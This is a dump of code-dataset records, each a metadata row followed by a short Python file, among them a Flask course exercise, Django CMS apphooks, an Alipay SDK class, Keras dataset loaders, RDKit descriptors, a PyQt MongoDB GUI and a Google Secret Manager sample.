] | anthony.mcclay@nielsen.com |
259d8d035eedf7eef3f531124c71fe24f3435f82 | d57b51ec207002e333b8655a8f5832ed143aa28c | /.history/l5/work/app_20200705183942.py | f3704a767059714e94130cff92722f9b9aa43f24 | [] | no_license | yevheniir/python_course_2020 | b42766c4278a08b8b79fec77e036a1b987accf51 | a152d400ab4f45d9d98d8ad8b2560d6f0b408c0b | refs/heads/master | 2022-11-15T07:13:24.193173 | 2020-07-11T15:43:26 | 2020-07-11T15:43:26 | 278,890,802 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 489 | py | from flask import Flask
from flask import render_template
app = Flask(__name__)
scoreboard = [{"name": "Tester", "score": 10}, {"name": "Tester", "score": 11}]
def x(user):
return user. ==
@app.route("/<name>")
def hello(name):
if name in map(lambda user: user.name == name ,scoreboard):
return... | [
"yevheniira@intelink-ua.com"
] | yevheniira@intelink-ua.com |
c8efebe2f9cc7025c945c27a30fb38346080f9f8 | 151e4ab8bdcff37ded920f32250331c1edc1772d | /tlmshop/cms_apps.py | 187abeb36d4bfa303cf24d8a1e7cea51184bf5e2 | [] | no_license | LegionMarket/django-cms-base | 79069ee67628ff7d10338b48b154fe087863e1ea | 1b6fc3423e3d0b2165552cc980432befb496f3e0 | refs/heads/master | 2020-12-30T17:10:33.866390 | 2017-05-25T12:49:41 | 2017-05-25T12:49:41 | 91,057,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,772 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.conf import settings
from cms.apphook_pool import apphook_pool
from cms.cms_menus import SoftRootCutter
from menus.menu_pool import menu_pool
from shop.cms_apphooks import CatalogListCMSApp, CatalogSearchCMSApp, OrderCMSApp
class CatalogLi... | [
"spivegin@txtsme.com"
] | spivegin@txtsme.com |
a74ccb30b581fa4a346f3cce856aa726349a5d4c | f8eefef177c4794392ddbad008a67b10e14cb357 | /common/python/ax/version.py | 0f5e530cae53d9b5300306cf0cf03c3b7fa3a759 | [
"Apache-2.0"
] | permissive | durgeshsanagaram/argo | 8c667c7e64721f149194950f0d75b27efe091f50 | 8601d652476cd30457961aaf9feac143fd437606 | refs/heads/master | 2021-07-10T19:44:22.939557 | 2017-10-05T18:02:56 | 2017-10-05T18:02:56 | 105,924,908 | 1 | 0 | null | 2017-10-05T18:22:21 | 2017-10-05T18:22:20 | null | UTF-8 | Python | false | false | 950 | py | """
Module to provide unified version string based on commit hash
There are three scenarios we need to handle when caller imports ax.version.__version__:
1) application has been compiled/bundled to an executable via PyInstaller
2) application source has been copied/packaged into a container
3) a script is being i... | [
"elee@applatix.com"
] | elee@applatix.com |
dbaf141e8a1f1f986a07017f9297e100b9351cbc | 5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d | /alipay/aop/api/domain/AppSecurityExt.py | 0611dd303cd913000295e9e413b6b095d47e2a86 | [
"Apache-2.0"
] | permissive | alipay/alipay-sdk-python-all | 8bd20882852ffeb70a6e929038bf88ff1d1eff1c | 1fad300587c9e7e099747305ba9077d4cd7afde9 | refs/heads/master | 2023-08-27T21:35:01.778771 | 2023-08-23T07:12:26 | 2023-08-23T07:12:26 | 133,338,689 | 247 | 70 | Apache-2.0 | 2023-04-25T04:54:02 | 2018-05-14T09:40:54 | Python | UTF-8 | Python | false | false | 4,299 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class AppSecurityExt(object):
def __init__(self):
self._alipay_public_key = None
self._biz_id = None
self._cert_sn = None
self._partner_private_key = None
self._... | [
"jishupei.jsp@alibaba-inc.com"
] | jishupei.jsp@alibaba-inc.com |
54abfcbed29228fa5c4e5745958a50bf4b69e7e4 | b9f97b3457100ffa978e5b9c659ff5b4a0189a7c | /django_summernote/apps.py | 83d268cc4ea14a5b198bf0ea4edd8a4bd15716f8 | [
"MIT"
] | permissive | yuong1979/django-summernote | e1cf974daa2b4cdffd251e9f82bd50049a864ab9 | cf9b2d838310211738162c2acbc7b9145d3970b2 | refs/heads/master | 2020-03-19T09:02:22.831819 | 2018-06-06T02:15:09 | 2018-06-06T02:15:09 | 136,255,223 | 0 | 0 | MIT | 2018-06-06T02:15:10 | 2018-06-06T01:34:28 | JavaScript | UTF-8 | Python | false | false | 147 | py | from django.apps import AppConfig
class DjangoSummernoteConfig(AppConfig):
name = 'django_summernote'
verbose_name = 'Django Summernote'
| [
"ez@smartstudy.co.kr"
] | ez@smartstudy.co.kr |
610a07eb5d84ba3600d3d0d43b6707bf71a749ee | 7de0c43668ab98aba5cfee1db88a435dc667e03f | /aulas/jogo.py | 8e99e50b6acf5d2f43b68f8c4d3385ac3a19ec86 | [] | no_license | lldenisll/learn_python | b9704b86e1de548268da73beb776d33222beb06f | b0d0e36ea54bfc09bfd3310999f7e19f8bb44405 | refs/heads/master | 2022-09-21T04:39:59.709520 | 2020-06-05T22:29:32 | 2020-06-05T22:29:32 | 269,099,149 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 102 | py | lista_paises = ["Brasil", "Escócia","Alemanha","Inglaterra"]
lista_paises.sort ()
print(lista_paises) | [
"namorado@TFGcos-MacBook-Pro.local"
] | namorado@TFGcos-MacBook-Pro.local |
3babf16809e26665d5e0698746c748548f1f7e13 | ac549e553263801bdc6962a10ebbe784dc2631df | /Python/stack/stutter.py | e05a1be115e8fa26c907dce20ef8f55c092449e1 | [] | no_license | Bishal44/DataStructure | e595890d18bde39e65f02a7ca3a6904c6070c3c8 | 939c47de6dcfe3b2578aaa0610d3cdc5726572c7 | refs/heads/master | 2020-09-10T22:40:46.368607 | 2020-03-28T12:15:08 | 2020-03-28T12:15:08 | 221,854,694 | 0 | 0 | null | 2019-12-10T15:47:45 | 2019-11-15T05:59:40 | Python | UTF-8 | Python | false | false | 1,382 | py | """
Datastructure_and_algorithm
Created by Bishal on 27 Nov 2019
Given a stack, stutter takes a stack as a parameter and replaces every value
in the stack with two occurrences of that value.
For example, suppose the stack stores these values:
bottom [3, 7, 1, 14, 9] top
Then the stack should store these values after ... | [
"bhattaraibishal704@gmail.com"
] | bhattaraibishal704@gmail.com |
26942859cfb931e239f595847d9398e80ca70342 | ad8de507b76e3e29c2c723904ef54674906c18bb | /Spotify_playlist_manipulation/m/GetUsername/GetUsername.py | b6e09273ad576f3cc53a08a780c59ca745233276 | [] | no_license | jajaabae/music_projects | fded928bbea5a21cd437ed11f4bf608a9bdef90d | 2f0e33e2d38369693ea5f7f63cc80cbc8844cb20 | refs/heads/master | 2020-12-02T22:32:45.144946 | 2017-07-03T20:49:48 | 2017-07-03T20:49:48 | 96,147,153 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | def GetUsername():
return 'atrakaz'
| [
"j.a.h.jaabak@kjemi.uio.no"
] | j.a.h.jaabak@kjemi.uio.no |
a322d0c14627e762ae0dd8f4d08d012d8d5d33e8 | f3b233e5053e28fa95c549017bd75a30456eb50c | /mcl1_input/L65/65-67_MD_NVT_rerun/set_1.py | 4b24ce495acbe5b6fce48f2d2b1c1021ee78d5d8 | [] | no_license | AnguseZhang/Input_TI | ddf2ed40ff1c0aa24eea3275b83d4d405b50b820 | 50ada0833890be9e261c967d00948f998313cb60 | refs/heads/master | 2021-05-25T15:02:38.858785 | 2020-02-18T16:57:04 | 2020-02-18T16:57:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 740 | py | import os
dir = '/mnt/scratch/songlin3/run/mcl1/L65/MD_NVT_rerun/ti_one-step/65_67/'
filesdir = dir + 'files/'
temp_prodin = filesdir + 'temp_prod_1.in'
temp_pbs = filesdir + 'temp_1.pbs'
lambd = [ 0.00922, 0.04794, 0.11505, 0.20634, 0.31608, 0.43738, 0.56262, 0.68392, 0.79366, 0.88495, 0.95206, 0.99078]
for j in lam... | [
"songlin3@msu.edu"
] | songlin3@msu.edu |
ba8de646e969293606c6148685c5a67c638cbfab | 16a70cb8907fe245d65894062e946ceb44857a25 | /providers/apps.py | f981be91a95c026bd47a5fa01337898202e6b4eb | [] | no_license | ibrag8998/muradin | 907ef7140f5d48d7ce88288e9e9b61c8263c8b44 | 07422ad1feff407c745072f187559bbb26872219 | refs/heads/master | 2023-06-02T18:22:42.980647 | 2021-06-21T14:34:22 | 2021-06-21T14:34:22 | 378,714,072 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 192 | py | from django.apps import AppConfig
class ProvidersConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'providers'
verbose_name = "поставщики"
| [
"ibragdzh@gmail.com"
] | ibragdzh@gmail.com |
ae89bd19f0b2e3545a55bfdb8f4432fb1d5870d5 | 78144baee82268a550400bbdb8c68de524adc68f | /Production/python/Fall17/RPV_2t6j_mStop-550_mN1-100_TuneCP2_13TeV-madgraphMLM-pythia8_ext1_cff.py | ce12be90a1cabac8c3cd34d886185ae00fafa7c1 | [] | no_license | tklijnsma/TreeMaker | e6989c03189b849aff2007bad22e2bfc6922a244 | 248f2c04cc690ef2e2202b452d6f52837c4c08e5 | refs/heads/Run2_2017 | 2023-05-26T23:03:42.512963 | 2020-05-12T18:44:15 | 2020-05-12T18:44:15 | 263,960,056 | 1 | 2 | null | 2020-09-25T00:27:35 | 2020-05-14T15:57:20 | null | UTF-8 | Python | false | false | 1,774 | py | import FWCore.ParameterSet.Config as cms
maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )
readFiles = cms.untracked.vstring()
secFiles = cms.untracked.vstring()
source = cms.Source ("PoolSource",fileNames = readFiles, secondaryFileNames = secFiles)
readFiles.extend( [
'/store/mc/RunIIFall17Mini... | [
"Chris_Madrid@Baylor.edu"
] | Chris_Madrid@Baylor.edu |
71ec2930162293dc8b809cfd1feedf3fe21dc3ec | 5da5473ff3026165a47f98744bac82903cf008e0 | /packages/google-cloud-secret-manager/samples/generated_samples/secretmanager_v1_generated_secret_manager_service_destroy_secret_version_async.py | 074f548c07176c0a14873448a7309e8856997f64 | [
"Apache-2.0"
] | permissive | googleapis/google-cloud-python | ed61a5f03a476ab6053870f4da7bc5534e25558b | 93c4e63408c65129422f65217325f4e7d41f7edf | refs/heads/main | 2023-09-04T09:09:07.852632 | 2023-08-31T22:49:26 | 2023-08-31T22:49:26 | 16,316,451 | 2,792 | 917 | Apache-2.0 | 2023-09-14T21:45:18 | 2014-01-28T15:51:47 | Python | UTF-8 | Python | false | false | 1,947 | py | # -*- coding: utf-8 -*-
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"noreply@github.com"
] | googleapis.noreply@github.com |
db4f9a41852f0631e5a8cac2a13bbd727ca35aca | 5b6481da9d47221546382a0f39b73095a18f552b | /prev_ob_models/Migliore2015operators/runsim.py | 652e430c88638dbb08150fb52a4ff86e7a08890e | [
"MIT"
] | permissive | JustasB/OlfactoryBulb | 26905f247bb189c7a5359c85a2707fcdeab10de1 | ab0d31f84e18d102956a6fec3196ab262fc08c39 | refs/heads/master | 2023-04-11T19:23:45.731947 | 2021-05-04T21:55:20 | 2021-05-04T21:55:20 | 150,029,110 | 7 | 2 | MIT | 2019-06-08T01:57:46 | 2018-09-23T21:59:30 | Jupyter Notebook | UTF-8 | Python | false | false | 1,548 | py | from common import *
import params
import util
import parrun
import weightsave
import vrecord as vr
import net_mitral_centric as nmc
def build_part_model(gloms, mitrals, dicfile=''):
model = getmodel()
model.clear()
# gids
gids = set()
for glomid in gloms:
gids.update(range(glomid * params.Nmitral_per_... | [
"jbirgio@gmail.com"
] | jbirgio@gmail.com |
15e35b2925a6af78d6d7d85582ef57bb0c803ded | fbbe424559f64e9a94116a07eaaa555a01b0a7bb | /Keras_tensorflow_nightly/source2.7/keras/datasets/cifar100.py | 4d0b56c6cceb5e555e99796fb74fd01e252989e4 | [
"MIT"
] | permissive | ryfeus/lambda-packs | 6544adb4dec19b8e71d75c24d8ed789b785b0369 | cabf6e4f1970dc14302f87414f170de19944bac2 | refs/heads/master | 2022-12-07T16:18:52.475504 | 2022-11-29T13:35:35 | 2022-11-29T13:35:35 | 71,386,735 | 1,283 | 263 | MIT | 2022-11-26T05:02:14 | 2016-10-19T18:22:39 | Python | UTF-8 | Python | false | false | 1,266 | py | from __future__ import absolute_import
from .cifar import load_batch
from ..utils.data_utils import get_file
from .. import backend as K
import numpy as np
import os
def load_data(label_mode='fine'):
"""Loads CIFAR100 dataset.
# Arguments
label_mode: one of "fine", "coarse".
# Returns
Tu... | [
"ryfeus@gmail.com"
] | ryfeus@gmail.com |
05c054dd30685f7242fca6c2dd7fa10ccd53224f | 1f62195fb1960c6bddb38343adbe41c0497e40bc | /benchmark/bench.py | 0e19b6d21fcb216102454153af83a1aad3f03206 | [
"MIT"
] | permissive | alyssonmazoni/torchrl | 800ec186893607adac14c38c39c1d36f3488d3d8 | 75e82f073b7234432b491a21e5083bc55e3e985a | refs/heads/master | 2020-03-16T06:12:43.733257 | 2018-05-05T02:37:50 | 2018-05-05T02:37:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,155 | py | from torchrl.utils import Config
def task_gen(tasks, config):
for task in tasks:
trials = task.get('trials')
for i in range(trials):
new_config = Config(**task)
new_config.update(config)
new_config.trial = i
yield new_config
mujoco_essential_envs ... | [
"lucasgouvaz@gmail.com"
] | lucasgouvaz@gmail.com |
0157a87561d2704b3c4cf27e125d140becdeec08 | cf025ea3bf079748472557304a290593c753b884 | /Algorithm/SWEA/숫자 만들기/숫자 만들기.py | 3265bca67deccd8c55796c8936d64ffd0e7526a5 | [] | no_license | Silentsoul04/my_software_study | 7dbb035ceea74f42c7ce2051b2320f6cae75ed88 | c27d33c57f59fe5244a1041c11bbd826dd481546 | refs/heads/master | 2023-03-29T02:43:40.861045 | 2019-07-10T08:09:55 | 2019-07-10T08:09:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,755 | py | import sys
sys.stdin = open('sample_input.txt','r')
def permu(temp, used):
if used == [0] * 4:
result.append(temp)
return
for _ in range(len(used)):
if _ == 0 and used[_] != 0:
temp_used = used[:]
temp_used[_] -= 1
permu(temp + '+',temp_used)
... | [
"pok_winter@naver.com"
] | pok_winter@naver.com |
fd02ff6794e8d504bce9d373f16b1f82015aca31 | 5c3b77012d86ee5d0b5746f1c17e6284f28ae667 | /custom/addons/fix_product_variant_configurator/models/__init__.py | 3478048853850db3ba32859c54ede01687b6625c | [] | no_license | apesquero/Odoo-10-PyCharm | c7e813979cf9bd87d23b5d2b680ba04a784c8f0d | e8a17a97aab99d9133e50bbbfd8bfbe689995f44 | refs/heads/master | 2018-10-21T05:48:59.770463 | 2018-09-05T18:45:49 | 2018-09-05T18:45:49 | 120,489,311 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 89 | py | # -*- coding: utf-8 -*-
from . import product_product
from . import product_configurator | [
"apesquero@gmail.com"
] | apesquero@gmail.com |
5ec3175c7392f924950c1463963e1bc98bd2bf03 | c2fb6846d5b932928854cfd194d95c79c723f04c | /python/image_processing/matplot_1.py | 58bbd005561d9973c249b793b434279174cdc856 | [
"MIT"
] | permissive | Jimut123/code-backup | ef90ccec9fb6483bb6dae0aa6a1f1cc2b8802d59 | 8d4c16b9e960d352a7775786ea60290b29b30143 | refs/heads/master | 2022-12-07T04:10:59.604922 | 2021-04-28T10:22:19 | 2021-04-28T10:22:19 | 156,666,404 | 9 | 5 | MIT | 2022-12-02T20:27:22 | 2018-11-08T07:22:48 | Jupyter Notebook | UTF-8 | Python | false | false | 242 | py | import numpy as np
import cv2
from matplotlib import pyplot as plt
img = cv2.imread('cadillac.jpg',0)
plt.imshow(img, cmap = 'gray', interpolation = 'bicubic')
plt.xticks([]), plt.yticks([]) # to hide tick values on X and Y axis
plt.show()
| [
"jimutbahanpal@yahoo.com"
] | jimutbahanpal@yahoo.com |
7e57fbea6e888958ba1d8b5dfe90e3f4e9af6c66 | acb8e84e3b9c987fcab341f799f41d5a5ec4d587 | /langs/2/e2x.py | 019acebe5187a0f7752ef754484767d498ada453 | [] | no_license | G4te-Keep3r/HowdyHackers | 46bfad63eafe5ac515da363e1c75fa6f4b9bca32 | fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2 | refs/heads/master | 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
... | [
"juliettaylorswift@gmail.com"
] | juliettaylorswift@gmail.com |
2f69b2b62e2179e7a86c0783346fd4f24d665382 | ebe593e0f17cf228683e80885af767bda77c0e2c | /Inheritance/child-properties2.py | 8ab0807d75662f7fcbaf0e31deffa54d9d77db04 | [] | no_license | juliocsg/python-cesar | 55c61ea2c1be638c125d3a51145b429d32643364 | dbc4a9eea767a181d0cff5f3ce654ffdd22a76dd | refs/heads/master | 2020-04-29T19:21:03.529125 | 2019-04-16T21:52:02 | 2019-04-16T21:52:02 | 176,351,226 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 391 | py | class Person:
def __init__(self, fname, lname):
self.fisrtname = fname
self.lastname = lname
def printname(self):
print(self.firstname, self.lastname)
class Student(Person):
def __init__(self, fname, lname, year):
Person.__init__(self, fname, lname)
self.graduationy... | [
"jcesarsaucedo1993@gmail.com"
] | jcesarsaucedo1993@gmail.com |
1a8ed64f208e66c308da25b282c627921ae171d6 | 51d0377511a5da902033fb9d80184db0e096fe2c | /21-deep-learning-in-python/4-fine-tuning-keras-models/04-experimenting-with-wider-networks.py | dc17a43a789de0dd75b8bece080d1d900f20a53f | [] | no_license | sashakrasnov/datacamp | c28c6bda178163337baed646220b2f7dcc36047d | 759f4cec297883907e21118f24a3449d84c80761 | refs/heads/master | 2021-12-07T02:54:51.190672 | 2021-09-17T21:05:29 | 2021-09-17T21:05:29 | 157,093,632 | 6 | 5 | null | null | null | null | UTF-8 | Python | false | false | 3,118 | py | '''
Experimenting with wider networks
Now you know everything you need to begin experimenting with different models!
A model called model_1 has been pre-loaded. You can see a summary of this model printed in the IPython Shell. This is a relatively small network, with only 10 units in each hidden layer.
In this exerc... | [
"a@skrasnov.com"
] | a@skrasnov.com |
88bdd9bb7c3049f0370185c41fa400d89918b43e | f82e67dd5f496d9e6d42b4fad4fb92b6bfb7bf3e | /scripts/client/gui/miniclient/invitations/aspects.py | a19435ce40a039f777de960e818cb2244f64d132 | [] | no_license | webiumsk/WOT0.10.0 | 4e4413ed4e7b00e22fb85d25fdae9400cbb4e76b | a84f536c73f86d9e8fab559e97f88f99f2ad7e95 | refs/heads/master | 2021-01-09T21:55:00.662437 | 2015-10-23T20:46:45 | 2015-10-23T20:46:45 | 44,835,654 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 613 | py | # Embedded file name: scripts/client/gui/miniclient/invitations/aspects.py
from gui import makeHtmlString
from helpers import aop
from helpers.i18n import makeString as _ms
from constants import PREBATTLE_TYPE_NAMES
class DisableAcceptButton(aop.Aspect):
def atCall(self, cd):
cd.avoid()
return Fal... | [
"info@webium.sk"
] | info@webium.sk |
e4854ad301863cd4258eed1e34fe29e0a9e257e8 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02911/s907700285.py | 124d6e03ea8818043b4b941ab96196b494c08552 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 199 | py | N,K,Q = map(int, input().split())
score = [K-Q]*N
for i in range(Q):
temp = int(input())
score[temp-1] += 1
for j in score:
if j > 0:
print('Yes')
else:
print('No') | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
ab68847770f6575ede835a8b750d567a708550ea | 6189f34eff2831e3e727cd7c5e43bc5b591adffc | /WebMirror/management/rss_parser_funcs/feed_parse_extractWalkingTheStorm.py | de5bea524ec8726c95c388a0f3a5917f3c0806fe | [
"BSD-3-Clause"
] | permissive | fake-name/ReadableWebProxy | 24603660b204a9e7965cfdd4a942ff62d7711e27 | ca2e086818433abc08c014dd06bfd22d4985ea2a | refs/heads/master | 2023-09-04T03:54:50.043051 | 2023-08-26T16:08:46 | 2023-08-26T16:08:46 | 39,611,770 | 207 | 20 | BSD-3-Clause | 2023-09-11T15:48:15 | 2015-07-24T04:30:43 | Python | UTF-8 | Python | false | false | 289 | py | def extractWalkingTheStorm(item):
"""
"""
vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or 'preview' in item['title'].lower():
return None
return buildReleaseMessageWithType(item, 'Joy of life', vol, chp, frag=frag, postfix=postfix)
| [
"something@fake-url.com"
] | something@fake-url.com |
d7bf824d6a66189a9ddbd3c9a7f4125990ec576c | 4f1cef550acd071938e2d28089dda727a00d5b72 | /otree/urls.py | b55708f2de542a8f3b41ad6aaf488c33d24f35d4 | [
"MIT"
] | permissive | ckaarle/otree-core | cb12fa272d04ae5940f4693e355d56ac6a1eae2d | 9eff95a6cea7aabdbb62f57323460f3a408563e1 | refs/heads/master | 2023-07-27T19:27:49.873809 | 2021-09-07T10:53:02 | 2021-09-07T10:53:02 | 403,935,763 | 0 | 0 | NOASSERTION | 2021-09-07T10:46:50 | 2021-09-07T10:27:21 | null | UTF-8 | Python | false | false | 5,369 | py | import inspect
from importlib import import_module
from otree.channels.routing import websocket_routes
from otree import common, settings
from starlette.routing import Route, Mount
from starlette.staticfiles import StaticFiles
from starlette.endpoints import HTTPEndpoint
from starlette.responses import RedirectRespons... | [
"chris@otree.org"
] | chris@otree.org |
7138352024ff7787eb269324e2c4e6341dff5985 | f5c64ce71393988eaded8ec1ff6858838a7dedb3 | /home/migrations/0002_load_initial_data.py | 57a0d0acae6365790870a4e0068f8eecff3ebeec | [] | no_license | crowdbotics-apps/myfirstapp-25179 | a38fbc084896fc09e2ad95716a819f7371f22805 | 328c484ea3cba1e47baa049b8aa78542016e308f | refs/heads/master | 2023-03-23T14:30:20.479429 | 2021-03-22T04:57:47 | 2021-03-22T04:57:47 | 350,212,030 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,294 | py | from django.db import migrations
def create_customtext(apps, schema_editor):
CustomText = apps.get_model("home", "CustomText")
customtext_title = "MyFirstApp"
CustomText.objects.create(title=customtext_title)
def create_homepage(apps, schema_editor):
HomePage = apps.get_model("home", "HomePage")
... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
2bb09713fda3a5239741cf478579c30613fb0662 | 320cfdb0d587ae3e8fc5317011a9698237d8869b | /tutorial/7/test2.py | 8ef99e24f602bec1470767916f1e23c1054cca99 | [] | no_license | kangheeyong/STUDY-microservice-architecture | 78d6a8ecc8560ac179907603cc2abf8b7828207b | 62548258e0d0d719a3df012f982e8a1ed828f625 | refs/heads/master | 2021-02-19T18:20:47.867917 | 2020-06-18T06:58:45 | 2020-06-18T06:58:45 | 245,317,646 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 624 | py | from googleapiclient.discovery import build
from Feynman.serialize import Pickle_serializer
_ps = Pickle_serializer()
def main():
creds = _ps.load('token.pickle')
service = build('drive', 'v3', credentials=creds)
# Call the Drive v3 API
results = service.files().list(
pageSize=10, fie... | [
"cagojeiger@naver.com"
] | cagojeiger@naver.com |
a7ddb4d8d68ae16e13cfc09b459f856e47ea687d | e6dab5aa1754ff13755a1f74a28a201681ab7e1c | /.parts/lib/django-1.4/django/contrib/localflavor/ru/__init__.py | ef91898c5fdd26e2f31e39724cf96e8ebcd0f506 | [] | no_license | ronkagan/Euler_1 | 67679203a9510147320f7c6513eefd391630703e | 022633cc298475c4f3fd0c6e2bde4f4728713995 | refs/heads/master | 2021-01-06T20:45:52.901025 | 2014-09-06T22:34:16 | 2014-09-06T22:34:16 | 23,744,842 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 107 | py | /home/action/.parts/packages/googleappengine/1.9.4/lib/django-1.4/django/contrib/localflavor/ru/__init__.py | [
"ron.y.kagan@gmail.com"
] | ron.y.kagan@gmail.com |
6feedc8ddf09586247f0a12fe4317d9b2ce77a19 | e23a4f57ce5474d468258e5e63b9e23fb6011188 | /100_databases/003_mongodb/examples/github/mongogui/mongogui-master/src/createdb.py | 7bc6c1d7bf8f6e99c2ce7889165960f6dc51bea8 | [
"MIT"
] | permissive | syurskyi/Python_Topics | 52851ecce000cb751a3b986408efe32f0b4c0835 | be331826b490b73f0a176e6abed86ef68ff2dd2b | refs/heads/master | 2023-06-08T19:29:16.214395 | 2023-05-29T17:09:11 | 2023-05-29T17:09:11 | 220,583,118 | 3 | 2 | null | 2023-02-16T03:08:10 | 2019-11-09T02:58:47 | Python | UTF-8 | Python | false | false | 1,623 | py | from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
try:
from PyQt5.QtCore import QString
except ImportError:
# we are using Python3 so QString is not defined
QString = str
from pymongo import MongoClient
class CreateDbPage(QWidget):
db_created=pyqtSignal(str)
def ... | [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
7765c10ce2dac98f396ecdc80af054d34566b646 | 529abb0f269f67a0d461fe4ae250dcc87a994ede | /mordred/HydrogenBond.py | 68b29e634f71d86980f41e58fa2be44ddc3bb1ae | [
"BSD-3-Clause"
] | permissive | nanomolar/mordred | 07825fea6234bd3110d750126256197bf7e8a5b0 | 8aca975dae9acdb154b3aa4d6b0fcfe58f62add5 | refs/heads/master | 2020-03-08T21:24:30.563005 | 2018-02-08T08:16:22 | 2018-02-08T08:16:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 999 | py | from rdkit.Chem import rdMolDescriptors
from ._base import Descriptor
__all__ = (
"HBondAcceptor", "HBondDonor",
)
class HBondBase(Descriptor):
__slots__ = ()
explicit_hydrogens = False
@classmethod
def preset(cls):
yield cls()
rtype = int
class HBondAcceptor(HBondBase):
r"""... | [
"philopon.dependence@gmail.com"
] | philopon.dependence@gmail.com |
66332730fbd2bc8aa35937c8b9f5a99727785c1c | b1a39392a53b2ec582b7d64761ba7e52eae77c48 | /Default/paste_from_history.pyi | dcf0230217f5a97d8b65baa9ea760c780cfd38b3 | [] | no_license | gerardroche/sublime-mypy-stubs | 5aa065c77d5d970273bf388e02ff8273b3bdb3a1 | 1fb68e3cdcb9d746d60ff27a2659110d83b5be6e | refs/heads/master | 2023-01-24T06:54:40.981947 | 2022-09-28T07:49:48 | 2022-09-28T09:26:05 | 119,243,308 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 162 | pyi | g_clipboard_history = ... # type: ClipboardHistory
class ClipboardHistory:
def __init__(self) -> None: ...
def push_text(self, text: str) -> None: ...
| [
"gerardroche@users.noreply.github.com"
] | gerardroche@users.noreply.github.com |
d3028de56800ded5f66472487be067540241365d | f2e0aaa4e0c4015177f7d1bd61d7f4cc2985a2eb | /bnssm/items.py | 72153671b68eb7c27a0dce86b746d255c038ebbc | [] | no_license | hristo-grudev/bnssm | d5255f49a06c6bd96397ead83abf3f7333469ded | 7d0dc15ffadec5b9a03bcf99f134bb13b897b8cb | refs/heads/main | 2023-03-14T01:12:17.175105 | 2021-03-05T08:26:31 | 2021-03-05T08:26:31 | 344,743,642 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 106 | py | import scrapy
class BnssmItem(scrapy.Item):
title = scrapy.Field()
description = scrapy.Field()
| [
"hr.grudev@gmail.com"
] | hr.grudev@gmail.com |
f51a4d8474bc03daf1e5b8068f9764a55844e018 | 1109d81ac29335d7063557ee6d5bd2d9bda7a8d4 | /chap04_Numpy/lecture/step03_reshape.py | 4b74ed57abb2908b966ee7f4938f3d813106b0ae | [] | no_license | yangmyongho/4_Python-II | 68c3b6400cda2c614d40d96166ff42c92fee29e0 | 0f7e488e034a1dac0438ad5c16ed435d30498d47 | refs/heads/master | 2022-11-28T00:36:45.243930 | 2020-07-29T14:08:45 | 2020-07-29T14:08:45 | 283,514,268 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,264 | py | # -*- coding: utf-8 -*-
"""
step03_reshape
1. image shape : 3차원(세로, 가로, 컬러) <컬러가 3이면 RGB>
2. reshape : size 변경 안됨
ex) [2, 5] -> [5, 2] (o)
[3, 4] -> [4, 2] (x)
"""
import numpy as np
from matplotlib.image import imread
import matplotlib.pyplot as plt
from sklearn.datasets import load_digits # 데... | [
"noreply@github.com"
] | yangmyongho.noreply@github.com |
4ea670505a4fa6c518676f4ebef793b0d8c49ddd | 9b696cda14e099bf11e33e9292ad8f6c45c49fb8 | /tests/queryset/transform.py | 48e01919d00af09f35cd707783d3ba17300b6afb | [
"MIT"
] | permissive | lyft/mongoengine | 18f6a2ce71f0f426c2b39ea21c70db2bf2859837 | 7d0c51df68bab7c6cb5b9fb9f36f78c39a9f4b03 | refs/heads/master-lyft | 2023-08-20T11:13:39.159783 | 2017-08-30T20:35:13 | 2017-08-30T20:35:13 | 20,668,782 | 0 | 4 | MIT | 2023-03-20T02:36:39 | 2014-06-10T01:50:58 | Python | UTF-8 | Python | false | false | 7,247 | py | import sys
sys.path[0:0] = [""]
import unittest
